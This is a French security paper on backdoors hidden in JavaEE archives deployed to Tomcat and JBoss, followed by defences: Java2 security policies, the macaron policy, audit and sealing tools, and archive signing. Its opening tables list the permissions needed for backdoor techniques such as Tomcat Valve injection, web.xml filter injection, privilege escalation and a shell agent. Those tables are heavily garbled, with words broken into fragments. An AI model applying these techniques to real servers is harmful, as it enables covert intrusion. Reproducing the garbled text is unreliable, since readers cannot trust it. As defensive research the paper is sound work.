Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
